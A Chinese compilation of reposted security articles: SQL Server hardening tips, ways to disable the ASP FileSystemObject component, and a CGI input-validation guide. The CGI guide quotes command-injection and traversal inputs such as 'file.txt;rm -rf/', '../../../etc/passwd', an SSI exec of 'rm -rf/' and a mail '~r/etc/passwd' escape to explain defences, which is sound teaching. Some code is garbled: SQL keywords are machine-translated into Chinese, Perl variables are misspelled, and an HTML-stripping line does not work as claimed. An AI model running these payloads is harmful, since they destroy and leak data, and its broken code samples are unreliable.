20. 设定非法访问和登陆失败日志警报。到 企业管理器中的"Manager SQL Server Messages "搜寻任何有关无权访问的消息 ( 从查找"login failed"和"denied"开始). 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 , 发送一个电子邮件或信息到一个能够对问题及时响应的操作员。
21. 确定在服务器和数据库层次上的角色都只被授给了需要的用户。 当 SQL Server 安全模型 7 有许多增强的时候, 它也增加额外的许可层，我们必须监控该层，确定没有人被授予了超过必需的权限。
22. 经常检查组或角色全体会员并且确定用组分配权限，这样你的审计工作能够简化。 确定当你在的时候 , 公众的组不能从系统表执行选择操作。

23. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:
使用主体
选择名字,
password
from syslogins
where password is null
order by name

24. 如果可能，在你的组织中利用整合的安全策略。 通过使用整合的安全策略，你能够依赖系统的安全，最大简化管理工作从维护二个分开的安全模型中分离开来。这也不让密码接近连接字串。

25. 检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限。(在SQL Server中 使用 "type" 而不是 "xtype"):
Use master
select sysobjects.name
from sysobjects,sysprotects
where sysprotects.uid=0
AND xtype 在 ('X','P')
AND sysobjects.id=sysprotects.id
Order by name
26. 当时用企业管理器的时候，使用整合的安全策略。 过去，企业管理器被发现在标准的安全模态中储存 "sa" 密码在注册表的 plaintext 中。 注意: 即使你改变模态,密码也会留在注册表中。 使用 regedit 而且检查键:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\
MSSQLServer\SQLEW\ Regedi\
SQL 6.5
现在数据被隐藏在
HKEY_USERS\{yourSID}\software\Microsoft\Microsoft SQL server\80\tool\SQLEW\registered server X\SQL server group
("SQL server组" 是默认值但是你可能已建立用户组因此相应地改变其位置)
27. 发展一个审核计划而且订定每月的安全报告，对IT主管可用的报表包括任何的新exploit，成功的攻击 , 备份保护 , 和对象存取失败统计。

28. 不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。 一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。

30. 尽力限制对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非必须不要给他们机会


[转帖]三种禁用FSO组件的方法

信息来源：黑基
众所周知，FileSystemObject组件的强大功能及破坏性是它屡屡被免费主页
提供商(那些支持ASP)的禁用的原因，我整理了一下，本来只找到两种方法，后来
被某人一刺激，硬是想到第三种不为人所知的方法，呵呵，也不知道是不是这样的。
第一种：用RegSrv32 /u C:\WINDOWS\SYSTEM\scrrun.dll(win98路径)来注销该组
件。此方法过于狠毒，属于同归于尽的方法，大家都没得用，是下招
第二种：修改Progid的值，在ASP里调用组件的方式通常是 Set 对象名=Server.
CreateObject("Progid")，这时候我们就可以通过修改注册表中的Progid值从达
到禁用该组件的方法。在 开始-运行中敲入regedit,然后找到HKEY_CLASSES_ROO
T\Scripting.FileSystemObject，这时候我们就可以更改该Progid的值了，如改
成Scripting.FileSystemObject8。这样在ASP页里就这样调用了：
<%@ Language=Vbscript%>
<%
Set Fs=Server.CreateObject("Scripting.FileSystemObject8")
%>
(如果你前面没有调用过该组件的话，则无须重启，就可以看到效果了，否则请重
启后看效果。)
这时候我们看看还是用原来的调用方法的结果：
<%@ Language=Vbscript%>
<%
Set Fs=Server.CreateObject("Scripting.FileSystemObject")
%>
这时候的运行结果为：
服务器对象 错误 'ASP 0177 : 800401f3'
Server.CreateObject 失败
/aspimage/testfile2.asp, 行3
800401f3
(OK，达到我们的要求)
该方法由于本人迟了两步，结果就让别人抢着回答了，这样极大的刺激了我，结
果就产生了第三种方法。
第三种：细心的高手们会想，既然能通过修改Progid值来禁用该组件，那Clsid是
否也可以来修改呢？(OK，你想得和我一样)我们知道，除了CreateObject方法以
外，也可以使用一般的<object>标注建立一个组件，我们可以在ASP里面使用HTM
L的<object>标注，以便在网页中加入一个组件。方法是：
<object runat=server id=fs1 scope=page progid="Scripting.FileSystemObj
ect"></object>
Runat表示是在服务端执行，Scope表示组件的生命周期，可以选用Session,Appl
ication或page(表示当前页面，也可缺省)
这种写法对我们没用，还有一种写法是:
<object runat=server id=fs1 scope=page classid="clsid:clsid的值"></obj
ect>
我们也可以通过修改该Clsid的值而禁用该组件，如将注册表中HKEY_CLASSES_RO
OT\Scripting.FileSystemObject\CLSID的值0D43FE01-F093-11CF-8940-00A0C90
54228改成0D43FE01-F093-11CF-8940-00A0C9054229(改了最后面一位)，这时候的
写法为：
<object runat=server id=fs1 scope=page classid="clsid:0D43FE01-F093-11
CF-8940-00A0C9054229"></object>
看运行结果，没问题，OK。这时候我们再用
<object runat=server id=fs1 scope=page classid="clsid:0D43FE01-F093-11
CF-8940-00A0C9054228"></object>
这时候就出错了。
新建一用户：iusr_domain
IIS里设置对应站点的匿名用户IUSR_DOMAIN
CACLS： 设置目录权限
这样FSO可用，但不会影响别人


[转载]CGI安全问题专题

信息来源：太平洋电脑网
在计算机领域——尤其在Internet上——尽管大部分Web服务器所编的程序都尽可能保护自己的内容不受侵害，但只要CGI脚本中有一点安全方面的失误--口令文件、私有数据、以及任何东西，就能使入侵者能访问计算机。遵循一些简单的规则并保持警惕能使自己的CGI脚本免受侵害，从而可以保护自己的权益。
1. 脚本和程序
在开始决定采用何种语言编写CGI脚本时应考虑几个因素，其中之一应是安全性。Shell 脚本，Perl程序和C可执行程序是CGI脚本最常采用的形式，从安全性角度来说每种都备有优缺。尽管没有哪一种是最好的--基于其他方面的考虑，如速度和可重用性--每种都有实用的领域。
Shell脚本一般用于小的、快速的甚至可以用完就不要的CGI程序，因此，编写它们时常常不考虑安全性。这种疏忽可以导致一些缺陷，使得仅对系统具有一般知识的人也能进入系统任意走动。
尽管Shell CGI 程序最容易写，甚至只需拼凑一下即可，但控制它们却很困难，因为它们一般是通过执行外部的其他程序来完成工作的。这就导致一些可能的隐患，CGI 程序会继承任何它使用的程序的安全问题。
例如，常用UNIX实用程序 awk对于它能处理的数据的数量有一些相当严格限制。如果在CGI脚本中使用awk，那么该程序也就有了同样的限制。Perl比Shell脚本更进一步。Perl用于CGI编程有很多优点，并且相当安全。但Perl能给CGI 作者提供足够的灵活性从而导致对安全性的错误感觉。例如，Perl是解释型的。这意味着它实际在调用时是先编译，然后每次执行一步。这就很容易使得不正确的用户数据被包括进来作为代码的一部分，从而错误地进行解释，形成程序中止原因。
最后谈谈C。C迅速成为标准应用开发语言，几乎所有的UNIX和windows NT系统都是用它开发的。从安全性的角度来看C 似乎是很不错，但由于它的流行性，它的好几种安全性问题已广为人知，而这些问题也能很容易地被人利用。
例如，C 对串处理非常差。它不做任何自动的定位或清理而让编程者自己处理所有事情。在处理串时，大部分C 程序员都是简单地建立一个预定义的空间并希望它足够大以便处理用户输入的任何内容。
当然，Shell脚本、Perl和C 不是仅有的编写CGI脚本语言。实际上，任何可以按预定义的方式与Web服务器进行交互的计算机语言都可以用于编写CGI程序。在UNIX和Windows NT服务器上，数据是通过环境变量和标准输入(stdin) 传给脚本的，所以任何能从这两种数据源读取并写入标准输出(sidout)的语言都能用于创建CGI:awk、FORTRAN、C++、Basic和COBOL，等。windows的程序员可以使用流行的Visual Basic，这意味着有经验的VB程序员不必去学一门新语言。Macintosh使用AppleEvents、和AppleScript与CGI程序进行通信，所以任何可以读写这两者的语言都可使用。
不过，Shell脚本(不管使用那种Shell)、Perl和C仍是最流行为的编写CGI脚本的语言。这并不是说必须使用它们了；只是说大部程序的库——即大部分经过测试的安全的库——都是用这三种语言编写的。如果自己来选择CGI编程语言，最好是借鉴前人的经验。
2. 谁也不信
几乎所有的CGI 安全问题都来自与用户的交互。接收来自外部数据源的输入之后一个简单的、可预见的CGI程序突然向多方向伸展，每个方面都可能有最小的缝隙使得“黑客”可以溜进来。正是与用户的这种交互——通过表单或文件路径——才给予了CGI 脚本这种能力，但同时也使得它们成了运行在Web服务器上的最潜在的危险部分。
编写安全的CGI 脚本很大程度上是创造性和妄想的结合。编写者必须有足够的创造性才能想到用户使用的，不管是无意地还是别的所有的可能隐含导致问题的发送数据的方式。而且必须有点妄想，因为有可能不知道什么时候、什么地方、他们将会一一加以试验。
2.1 两种导致问题的方式
当用户登录进入Web 站点并开始进行交互访问时，他们能以两种方式惹麻烦。一种是不遵守规则，歪曲或违反页面中建立的每个限制或约束;另一种方式是按要求去做。
大部分CGI 脚本是作为HTML表单的后台运行的，负责处理由用户输入的信息并提供某种定制的输出。因为在这种情况下，大部分CGI 脚本编写时都等待某种特殊格式的数据。它们期望用户的输入能匹配收集并发送信息的表单。不过事情并不总是这样。用户可以有许多种办法绕过这些预定义的格式而给脚本发送一些看起来是随机的数据。CGI 程序必须对此有所准备。
其次，用户可以给CGI 脚本发送所期望的数据类型，按预期的形式在表单中填入每个字段。这种类型的提交可以是想像中的来自某个与站点交互的无意的用户，也可能来自某个恶意的“黑客”，凭借他有关操作系统和Web 服务器软件的知识并利用常见的编程错误。这些入侵，表面上一切都正常，却是最危险的、最难检测出来。Web 站点安全性依赖干这种入侵的防止。
2.2 不要相信表单数据
在CGI 编程中最常见的安全失误就是相信从表单传到脚本的数据，用户是未知的一大堆人，他们总能找到一些编程人员从来没想到过的发送数据的方法--而且是程序员认为几乎不可能的方法。
脚本必须对这些加以考虑。例如，下面这些情形都是可能的:
1)从一组单单选按钮中选择的结果可能不是表单中提供的选项之一。
2)来自某个文本字段的数据长度可能大于MAXLENGTH字段允许的长度。
3)字段本身的名字可能与表单中指定的不相符。
2.3 不合理数据的来源

因—些无意的或是有意的原因，导致自己的脚本接收到不知道如何去处理的数据，有可能导致非预期的——同时很危险的——行为。
下面的代码实现了一种表单并向某个搜索yahoo！数据库的CGI脚本送垃圾。该脚本设计得很好并且很安全，因为它忽略了不认识的输入。
<FORM METHOD="POST" ACTION="http://search.yahoo.com/bin/search">
Enter
        your name，first then last:
<INPUT TYPE="TEXT"
        NAME="first">
<INPUT TYPE="TEXT"
        NAME="last">
</FORM
也许用户碰巧(或者意识地)将URL编辑为这个CGI脚本。当浏览器向CGI程序提交数据时，要简单地将输入表单中的数据连到CGI的URL上(用于GET METHODS)，就像用户可以很容易地将Web页面地址输入到他的浏览器一样，用户也可以自己修改发送给这个脚本的数据。
例如，当单击表单上的Submit按钮时，Netscape将一个长串字符放入Location字段，该串由CGI的URL后接一串数据组成，大部分看起来像表单中定义的NAMES和VALUES。如果愿意的话，可以自由地编辑Location字段的内容并按自己的意愿修改数据:增加表单中没有的字段，扩展由MAXLENGTH选项限制的文本数据，或者几乎任何对象。以下显示了某CGI脚本预期从表单中提交的URL。
http://www.altavista.digit.com/cgi-bin?pg=q&what=web&imt=&q=%22An+Entirely+Other%22
用户可以修改同一URL，CGI脚本仍被调用，但现在接收的是非预期的数据。为了保证安全，该脚本应该在编写时就设计为能将这种输入识别为不被要求的数据并加以拒绝。
最后，某个有野心的"黑客"也许会写一个程序连到Web上的服务器并假装是一个Web浏览器。该程序可能做一些任何一个真正的web浏览器从未做过的事，例如给CGI脚本发送成百兆字节的数据。如果CGI脚本不限制从POST METHOD读取数据，那怎么办？它有可能会崩溃，也许允许那个崩溃了系统的人访问系统。
2.4 拒绝不合要求的表单数据
CGI脚本可以有几种方式拒绝接收提交给它的非预期的输入。编写CGI时应该使用其中一些技巧或所有这些技巧。
首先，CGI 脚本应设置接收多少数据的限制，不仅限制整个提交，也限制提交中的每个NAME/VALUE对。例如，CGI脚本读取POST METHOD，检查CONTENT-LENGTH环境变量的大小来确定某输入是不是合理的预期输入。如果CGI 脚本设计接收的唯一数据是某人的姓名，那么如果CONTENT-LENGTH大于100字节，就应该有理由返回一个错误。没有哪个合理的姓有那么长，通过设置限制，就能使脚本不再盲目地读取发送给它的内容。
注意
令人高兴的是，不必担心去限制通过POST方法提交的数据。GET是自限制的并且不会向脚本发送多于1KB的数据。服务器自动限制放人QUERY-STRING环境变量中的数据的大小，而这正是GET发送给CGI程序的信息。
当然，"黑客"们可以很容易地将表单由GET改为PUT从而绕过这种内置的限制。至少，程序应该检查一下数据是否是用预期的方法提交的;最好是能正确且安全地处理两种方法。
下一步，应保证脚本知道在接收到不能识别的数据时该怎么办，例如，如果某表单要求用户选择两个单选按钮之一，脚本就不应该假设因为一个按钮未被选择，另一个就一定被选择了。下面的Perl代码就犯了这样的错误:
if ($form_Data{"radio_choice"} eq
        "button_one"){
# Button One has been clicked }
else {
# Button
        Two has been clicked }
这段代码假定因为表单仅提供了两个选项，而第一项未被选中，那么第二项就肯定被选中了。这不一定是真的。尽管前面的例子没有什么害处，但在某些情况下这样的假设可能很危险。
CGI脚本应该能预期这种情形而相应地进行处理。例如，如果出现一些非预期的或"不可能"的情形，可以打印一个错误，如下所述:
If ($form_Data{"radio_choice"} eq "button_one")
        {
#Button One seleted }
elsif ($form_Data{"radio_choice} eq
        "button_two") {
#Button Two Selected }
else {
#Error
        }
通过加入第二个if语句－－显式检查"radio_choice"实际上是"button_two"－－这样脚本更安全了;它不再做假设了。
当然，错误不一定是期望脚本在这些情形下生成的。有些脚本过于小心，验证每个字段，即使是最轻微的非预期数据都生成错误信息，这样往往很扫用户的兴。让CGI 脚本识别非预期数据然后扔掉它，并且自动选择一个缺省值也可以。
另一方面，脚本还可帮助用户纠正错误而不是简单地发一条错误消息或设置一个缺省值。如果表单要求用户输入机密文字，脚本应能在进行比较之前自动跳过输入中的空白字符。下面即是一个完成此功能的Perl程序片段。
$user_input =~ s/\\\\s//;
#Remove white
        space by replacing it with an empty string
if ($user_input eq
        $secret_Word) {
#Match! }
最后，可以更进一，让CGI脚本能处理尽可能多的不同的输入表单。尽管不可能预期到可能发送给CGI程序的所有内容，但对某个特定方面一般经常有几种常用的方式，因而可以逐个检查。
例如，仅仅因为所写的表单使用POST方法向CGI脚本提交数据，并不意味着数据必须按那种方法进来。应该检查REQUEET_METHOD环境变量来确定是使用了GET还是POST方法并相应地读取数据，而不是假定数据都是来自预期的标准输入(stdin)。一个真正编写成功的CGI脚本能接收无论使用什么方法提交的数据并在处理过程中很安全。以下程序清单即是用Perl编写的一个例子。
程序清单 CGI_READ.PL 一个充满活力的读取格式输入的程序
#Takes the maximum length allowed as a parameter
#Returns 1 and the raw form data，or "0" and the error text
sub cgi_Read
{
local($input_Max)=1024 unless $input_Max=$_[0];
local($input_Method)=$ENV{\\\'REOUEST_METHOO\\\');
#Check for each possible REQUEST_METHODS
if ($input_Method eq "GET") {
#"GET"
local($input_Size)=length($ENV{\\\'QUERY_STRING\\\'});
#Check the size of the input
if($input_Size>$input_Max) {
return(0,"input too big"); }
#Read the input from QUERY_STRING
return(1,$ENV{\\\'QUERY_TRING\\\'}); }
elsif ($input_Method eq "POST") {
#"POST"
local($input_Size)=$ENV{\\\'CONTENT_LENGTH\\\'};
local($input_Data);
#Check the size of the input
if ($input_Size>$input_Max) {
return(0,"Input too big"); }
#Read the input from stdin
unless (read(STDIN,$input_Data,$input_Size)) {
return(0,"Could not read STDIN"); }
return(1,$Input_Data);
}
#Unrecognized METHOD
return (0,"METHOD not GET POST");
}
总而言之，脚本应该不对接收的表单数据进行假设，应尽可能预计意料之外的情形并正确地处理不正确的或错误的输入数据。在使用数据之前应按尽可能多的方式测试它；拒绝不合理的输入并打印一条错误消息；如果某项出错或漏了应自动选择一个缺省值；甚至可以试图对输入进行编码以成为程序的合理的输入。选择哪种方式依赖于自己想花费多少时间和精力，不过记住永远也不要盲目接收传给CGI脚来的所有信息。
2.5不要相信路径数据
用户能修改的另一类型数据是PATH_INTO的服务器环境变量。该变量由CGI URL中紧跟在脚本文件名之后的任何路径信息填充的。例如，如果foobar.sh是一个CGl shell脚本，那么当foobar.sh运行时，URL http://www.server.com/cgi-bin/foobar.sh/extra/path/info将导致/extra/path/info被放进PATH_INFO环境变量中。
如果使用这个PATH_INFO环境变量，就必须小心地完全验证它的内容。就像表单数据能以许多种方式被修改一样，PATH_INFO也可以修改。盲目地根据PATH_INFO的中指定的路径文件进行操作的CGI脚本可能会让恶意的用户对服务器造成伤害。
例如，如果某个CGI脚来设计用于简单地打印出PATH_INFO中引用的文件，那么编辑该CGI URL的用户就可以读取机器上的几乎所有文件，如下所示:
#!/bin/sh
#Send the header
echo "Conext-type:text/html"
echo""
#Wrap the file in some HTML
#!/bin/sh
echo"<HTML><HEADER><TITLE>File</TITLE><HEADER><BODY>"
echo"Here is the file you requested:<PRE>\\n"
cat $PATH_INFO
echo "</PRE></BODY><HIML>"
尽管在用户只单击预定义的链接(即http://www.server.com/cgi-bin/foobar.sh/public/faq.txt)时，该脚本正常工作，但是一个更有创造性的(或恶意的)用户可能会利用它接收服务器上的任何文件。如果他想进入http://www.server.com/cgi-bin/foobar.sh/etc/passwd，前面的脚本会很高兴地返回机器的口令文件——这可是不希望发生的事。
另一种安全得多的方式是在可能时使用PATH_TRANSLATED环境变量。不是所有的服务器都支持该变量，所以脚本不能依赖于它。不过如果有的话，它能提供完全修饰的路径名，而不是像PATH_INFO提供的相对URL。
不过在某种情形下，如果在CGI脚本中使用PATH_TRANSLATED的话，则可以访问通过浏览器不能访问到的文件。应该知道这点及它的应用。
在大部分UNIX服务器上，htaccess文件可以位于文档树的每个子目录，负责控制谁能够访问该目录中的特殊文件。例如它可以用于限制一组Web页面只给公司雇员看。
虽然服务器知道如何解释.htaccess，从而知道如何限制谁能还是不能看这些页面，CGI脚本却不知道。使用PATH_TRANSLATED访问文件树中任意文件的程序有可能碰巧覆盖了服务器提供的保护。
无论使用PATH_INFO还是PATH_TRANSLATED，另一个重要的步骤是验证路径以确保它或者是一个真正的相对路径或者是脚本认可的几个准确的、预知的路径之一。对于预定的路径，脚本将简单地将提供的数据与认可可以使用的文件的内部清单进行比较，这就是说在增加文件或修改路径时必须重新编译脚本，但安全性却有了保障。只允计用户选择几个预定义的文件而不允许用户指定实际的路径和文件名。
下面是处理访问者提供的路径时应遵循的一些规则。
1)相对路径不以斜线开头。斜线意味着"相对于根"或绝对路径。如果有的话，CGI脚本也是很少需要访问Web根之外的数据。这样它们使用的路径就是相对于Web根目录，而不是绝对路径。应拒绝任何以斜线开始的内容。
2)在路径中单个点(.)和两个点(..)的序列也有特殊含义。单点意味着对"对于当前目录",而双点意味着"相对于当前目录的父目录"。聪明的黑客可以建立象../../../etc/passwd这样的串逆向三层，然后向下进入/etc/passwd文件。应拒绝任何包含双点序列的内容。
3)基于NT服务器使用驱动器字母的概念来引用磁盘卷。包含对驱动器的引用的路径都以一个字母加上一个冒号开头。应拒绝任何以冒号为第二个字符的内容。
4)基于NT的服务器还支持Univesal Naming Conventions(UNC)引用。一个UNC文件规格指定机器名和一个共享点，其余部分与指定机器上的指定的共享点有关。UNC文件规格总是以两个反斜线开头。应拒绝任何UNC路径。
2.6一切看起来都正常，不过…
现在已经知道了用户能给CGI脚本提供非预期的数据的几种方式以及如何对付它们了，余下的更大问题是如何验证用户提交的合法数据。
大部分情况下，正确但聪明地编写的表单提交会导致比越界数据更多的问题。忽略无意义的输入很容易，但确定合法的、正确格式的输入会不会导致问题就要困难得多。因为CGI脚本非常灵活，几乎可做计算机能做的任何事情，所以安全方面的一个很小失误往往能被无限制地加以利用——而这正是最危险的地方。
2.7 处理文件名
文件名是提交给CGI脚本的简单数据，但如果不小心的话，却能导致许多麻烦。如果用户输入的名字中包含路径因素，如目录斜杠和双点，尽管期望的是输入一个简单的文件名--例如file.txt--但结果却可能是/file.txt或../../../file.txt。根据Web服务器的安装以及对提交的文件名做什么操作，系统中的所有文件就有可能都暴露给了一个聪明的黑客。
进一步，如果用户输入了一个已有文件的名字或者一个对系统的运行很重要的文件名，怎么办？对如果输入的名字是/etc/passwd或C:\\WINNT\\SYSTEM32\\KRNL32.DLL怎么办？根据在CGI脚本中对这些文件进行什么操作，它们有可能被发送给用户或者被垃圾覆盖了。在Windows 95和Windows NT下，如果不检查反斜杠字符(\\)，可能会允许Web 浏览器通过UNC文件名访问甚至不在该Web机器上的文件。
如果用户在文件名中输入了不合法的字符怎么办？在UNIX下，任何以句点(.)开头的文件名都是不可见的。在Windows下斜杠(/)和反斜杠(\\)都是目录分隔符。很可能不小心写了一个Perl程序，当文件名以管(pipe)(|)开头时，尽管自己以为仅仅是打开了一个文件，实际上却是执行了一个外部程序。如果用户知道怎么办的话，甚至可以把控制字符(例如Escape键或Return键)作为文件名的一部分送给脚本。
更坏的情况是，在shell脚本中，分号用于结束一条命令并开始另一条命令。如果脚本设计目的是cat用户输入的文件，用户可能输入file.txt;rm-rf/作为文件名，导致返回fi1e.txt，然后清除整个硬盘而不经任何确认。
2.8 输入合理，输出却不合理
为了避免所有这些问题，关闭由它们打开的所有安全缝隙，检查用户输入的每个文件名。必须确保输入正是程序预期的输入。
这样做的最好办法是将输入的文件名的每个字符与可接收字符的清单进行比较，如果不匹配就返回一个错误。这比维持一个所有合法字符的清单并比较它们要安全得多——要想让什么字符溜掉太容易了。
以下程序清单是用Perl如何完成这种比较的例子。它允许任何字符字母(大写或小写调)、任何数字、下划线和句点。它还进行检查以确保文件名不以句点开头。这样，该段代码就不允许可以改变目录的斜杠，不允许可以将多条命令放在一行的分号，或者破坏Perl的Open()调用的Pipes了。
程序清单 保证所有字符都是合法的
if (($file_Name =~ /[^a-zA-Z_\\.]/) || ($file_Name =~ /^\\./)) {
#File name contains an illegal characgter or starts with a period
}
警告
尽管上述程序清单中的代码清除了大部分不合法的文件名，但操作系可能还有一些限制，而该代码没有覆盖到。例如，文件名可以用数字开头吗？或者以下划线开头？如果文件中包含多个句点或者句点后多于三个字符怎么办？整个文件名足够短得能满足文件系统的限制吗？
必须不断向自己提出这种问题。在写CGI脚本时最危险的事是认为用户会遵守指令。其实用户是不会的。保证用户不犯错误是编程者自己的事。
2.9 处理HTML
另外一种看起来无害的但却能导致很大麻烦的输入是在请求用户输入文本信息时得到的HTML。以下的程序清单是一个Perl程序片段；它向任何在$user_Name变量中输入了一个名字的人,例如John Smith,发出问候信息。
程序清单 发出定制的问候脚本
print ("<HTML><TITLE>Greetings!<TITLE><BODY>\\n");
print ("Hello,$user_Name! It\'s good to see you!\\n");
print ("</BODY><HTL>\\n");
想像一下，如果用户不是仅仅输入一个名字，而是输入了<HR><H1><P ALIGN="CENTER">John Smith</P><H1><HR>或想像一下当脚本希望得到用户名时，黑客输入了<IMG SRC="/secret/cutekid.gif">，结果是公开了本该保密的信息。允许输入HTML可能很危险。
比输入简单的HTML修改页面或访问画面更危险的是恶意的黑客可能输入一条服务器端的include指令。如果web服务器设置为服从服务器端include，用户就可以输入
<!--#include file="/secret/project/p1an.txt"-->
而不是他的名字，以便看到秘密计划的全部文本,或者用户可以输入<!--#inc1ude fi1e-"/etc/passwd"-->来获取机器的口令文件。可能最坏的情况是黑客可能输入<!--#exec cmd="rm-rf/"-->而不是他的名字。这样上述程序清单中的代码会删掉硬盘上几乎所有内容。
警告
由于经常被恶意地使用，服务器端的include经常被禁止使用以保护站点免受侵害。现在假定这些都没问题。即使关闭了服务器端的include并且不介意用户能看到自己硬盘上的任何图片或者改变页面显示的外观，也仍然有问题--不仅是针对编程者的，而且针对其他用户。
CGI脚本的一个通常用途是留名册(guestbook):访问站点的顾客可能签个名，让别人知道他们已经在那儿了。一般情况下用户简单地输入他的名字，该名字会在访问者清单中出现。但是，如果将The last signee！<FORM><SELECT>作为用户名输入怎么办?<SELECT>标记将导致Web浏览器忽略位于<SELECT>和一个不存在的</SELECT>之间的所有内容，包括以后清单中加入的任何名字。即使有10个人签了名，仅有前3个会显示出来，因为第三个名字包含一个<FORM>和一个<SELECT>标记。因为第三个签名者在他的名字中使用了HTML标记，他后面的任何名字都不会显示出来。
对于用户输入HTML而不是普通的文本的情况有两种解决办法:
1)快速但比较粗糙的办法是不允许小于号(<)和大于号(>)，因为所有HTML标记必须包含在这两个字符中，所以清除它们(或者如果碰到它们就返回一个错误)是一种防止HTML被提交并返回的简单的办法。下面一行Perl代码简单地清除了这两个字符:$user_Input=~s/<>//g;
2)更精细一点的办法是将这两个字符转换成它们的HTML换码--—种特殊的代码，用于表示每个字符而不使用该字符本身。下面的代码通过全部用<替换了小于符号，用>替换了大于符号，从而完成了转换:
$user_Input=~s/</&1t;/g;
$user_Input=~s/>/>/g;
2.10 处理外部进程
最后，CGI脚本如何与带有外部过程的用户输入打交道是应该警惕的另一区域。因为执行一个位于自己的CGI脚本之外的程序意味着无法控制它做什么，必须尽最大努力在执行开始前验证发送给它的输入。
例如，shell脚本经常错误地将一个命令行程序和表单输入合在一起执行。如果用户输入符合要求，一切都挺正常，但是有可能会加入其它命令并非法执行。
下面即是一个产生了这种错误的脚本的例子:
FINGER_OUTPUT=\'finger$USER_INPUT\'
echo $FINGER_OUTPUT
如果用户很礼貌地给finger输入了某人的e-mail地址，一切都会正常工作，但是如果他输入了一个e-mail地址，后面再跟一个分号和另一条命令，那么该命令也会被执行，如果用户输入了webmaster@www.server.com;rm-rf/，那麻烦可就大了。
即使没有什么隐藏的命令被加入用户数据，无意的输入错误也可能带来麻烦。例如，下面的代码行会产生一个意料之外的结果——列出目录中的所有文件——如果用户输入是一个星号的话。
echo "Your input:"$USER_INPUT
当通过shell发送用户数据时，就象前面的代码片段所做的那样，最好检查一下shell的meta-character(元字符)——这些可能会导致意外的行为。
这些字符包括分号(允许一行中有多条命令)，星号和问号(完成文件匹配)，感叹号(在csh下指运行的作业)，单引号(执行一条包含其中的命令)等等。就像过滤文件名一样,维护一个允许的字符清单一般要比试图找出每个不允许的字符容易一些。下面的Perl代码片段验证一个e-mail地址:
if ($email_Address ~=
        /[^a-zA-z0-9_\\-\\+\\@\\.]) {
#lllegal character! }
else {
        system("finger $email_Address"); }
如果决定在输入中允许shell元字符，也有办法让它们安全一些。尽管可以简单地给未验证的用户输入加上引号以免shell按特殊字符进行操作，但这实际上不起什么作用。请看下的语句:
echo"Finger information:<HR><PRE>"
finger"$USER_INPUT
echo"</PRE>
尽管$USER_INPUT上的引号可以使shell不再解释一个分号，从而不允许黑客简单地插进来一条命令,但该脚本仍有许多安全方面的漏洞。例如，输入可能是\'rm-rf/\'，其中单引号可以导致甚至在finger不知道的情况下执行黑客的命令。
一种处理特殊字符的较好的办法是对它们进行换码，这样脚本只是取它们的值而不解释它们。通过对用户输入进行换码，所有的shell元字符都被忽略并作为增加的数据传给程序。下面的Perl代码即对非字母数字字符完成这种处理。
$user_Input=~s/([^w])/\\\\\\1/g;
现在，如果用户输入加在某条命令之后，每个字符——即便是特殊字符——都会由shell传送给finger。
不过请记住，验证用户输入——不相信发送给自己的任何信息——会使自己的代码更易读并且执行起来更安全。最好不是在已经执行了命令之后再去对付黑客，而应在门口就对数据进行一次性的检查。
--------------------------------------------
处理内部函数
对于解释型语言，例如Shell和Perl，如果用户输入的数据不正确的话，有可能导致程序生成本来没有的错误。如果用户数据被解释为一部分执行代码，用户输入的任何内容都必须符合语言的规则，否则就会出错。
例如，下面的Perl代码片段也许会正常工作也许会产生错误，这取决于用户输入的是什么:
if ($search_Text =~ /$user_Pattern/)
        {
#Match! }
如果$user_Pattern是一个正确的表达式，一切都会正常，但是如果$user_Pattern不合法；Perl就会失败，导致CGI程序失败——这可能是一种不安全的方式。为了避免这种情况，在Perl中至少应有eval()操作符，它计算表达式的值并与执行它无关，返回一个码值表示表达式是有效的还是无效的。下面的代码即是前面代码的改进版。
if
        (eval{$search_Text =~ /$user_Pattern/}) {
if ($search_Text =~
        /$user_Pattern/) {
#Match!
}
}
不幸的是，大部分shells(包括最常用的，/bin/sh)都没有像这样的简单的办法检查错误，这也是避免它们的另一原因。
在执行外部程序时，还必须知道传送给那些程序的用户输入是如何影响程序的。编程者可以保护自己CGI脚本不受黑客侵犯，但是如果轻率地将某个黑客输入的内容传送给了外部程序而不知道那些程序是如何使用这些数据的，也会徒劳无益。
例如，许多CGI脚本会执行mail程序给某人发送一个包含用户输入信息的e-mail。这可能会非常危险，因为mail有许多内部命令，任何一个命令都有可能被用户输入激活。例如，如果用mail发送用户输入的文本而该文本有一行以代字号(~)开头，mail会将该行的下一字符解释为它能执行的许多命令之一。例如，~r/etc/passwd，会导致mail读取机器的口令文件并发送给收信人(也许正是黑客自己)。
在这样的例子中，应该使用sendmail(一个更底层的邮寄程序，它少了许多mail的特性)，而不是使用mail在UNIX机器上发送e-mail。
作为一般规则，在执行外部程序时应该使用尽可能贴近自己要求的程序，不必有过多不必要的功能。外部程序能干的事越少，它被利用来干坏事的机会就越少。
警告
下面是使用mail和sendmail的另一个问题:必须保证发送给mail系统的是一个合法的e-mail地址。许多mail系统都会把以"|"开头的e-mail地址作为要执行的命令，从而为输入这样一个地址的黑客打开方便之门，请再一次记住要验证数据。
怎样才能更好地了解外部程序以便有效地使用它们的另一个例子是grep。grep是一个简单的命令行实用程序，它在文件中搜索一个常用表达式，表达式可以是一个简单的串也可以是复杂的字符序列。大部分人会说使用grep不会出什么问题，但是尽管grep可能不会造成什么损失，它却能被愚弄，下面将说明它是怎么被愚弄的，如下面的代码所示。它假定在许多文件中完成对用户输入项的区分大小写的搜索。
print("The following lines contain your term:<HR><PRE>");
$search_Term=~s/([^w])/\\\\\\1/g;
system("grep $search_Term/public/files/*.txt");
print(<"PRE>");
这一切看起来挺好，除非考虑到用户可能会输入-i。它不会被搜索，而是作为与grep的切换，就像任何以连字符开头的输入一样。这会导致grep或者因等待将搜索的串输入标准输入而挂起，或者如果-i后的内容被解释为其他切换字符时产生错误。毫无疑问这不是编程者本来的意图。在这种情况下它还不太危险，但在其他情况下却有可能。记住，没有什么无害的命令，对每条命令部必须从各个角度仔细考虑。
